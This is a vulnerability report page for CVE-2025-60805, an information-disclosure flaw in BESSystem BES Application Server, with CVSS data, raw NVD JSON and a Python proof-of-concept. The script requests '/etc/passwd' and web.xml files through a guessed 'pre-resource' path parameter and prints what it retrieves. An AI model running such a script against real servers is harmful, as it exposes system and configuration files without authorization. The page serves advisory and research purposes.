Security Vulnerability Report
中文
CVE-2025-60805 CVSS 7.5 HIGH

CVE-2025-60805

Published: 2025-10-28 18:15:39
Last Modified: 2026-04-15 00:35:42

Description

An issue was discovered in BESSystem BES Application Server thru 9.5.x allowing unauthorized attackers to gain sensitive information via the "pre-resource" option in bes-web.xml.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

BESSystem BES Application Server <= 9.5.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60805 PoC - BESSystem BES Application Server Unauthorized Information Disclosure Reference: https://www.cve.org/CVERecord?id=CVE-2025-60805 """ import requests import sys import argparse def check_vulnerability(target_url, file_path='/etc/passwd'): """ Test for CVE-2025-60805 by attempting to access sensitive files via the pre-resource option in bes-web.xml """ targets = [ f"{target_url}/bes-web/pre-resource?path={file_path}", f"{target_url}/web-inf/bes-web.xml", f"{target_url}/WEB-INF/web.xml", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") print(f"[*] Attempting to read: {file_path}") for target in targets: try: print(f"\n[*] Trying: {target}") response = requests.get(target, headers=headers, timeout=10, verify=False) if response.status_code == 200: if len(response.text) > 0 and 'root' in response.text or '<?xml' in response.text: print(f"[!] VULNERABLE! Successfully retrieved file content:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Target may not be vulnerable or file not accessible") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-60805 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://target.com:8080)') parser.add_argument('-f', '--file', default='/etc/passwd', help='File path to read') args = parser.parse_args() result = check_vulnerability(args.target, args.file) sys.exit(0 if result else 1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60805", "sourceIdentifier": "[email protected]", "published": "2025-10-28T18:15:39.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in BESSystem BES Application Server thru 9.5.x allowing unauthorized attackers to gain sensitive information via the \"pre-resource\" option in bes-web.xml."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "http://bes.com", "source": "[email protected]"}, {"url": "http://www.bessystem.com/appserver/dtds/bes-web-app_2_5-0.dtd", "source": "[email protected]"}, {"url": "https://gist.github.com/Liu2000622/7a6294f7421ef50c378a456ca9494714", "source": "[email protected]"}, {"url": "https://www.bessystem.com/product/0ad9b8c4d6af462b8d15723a5f25a87d/info?p=101", "source": "[email protected]"}]}}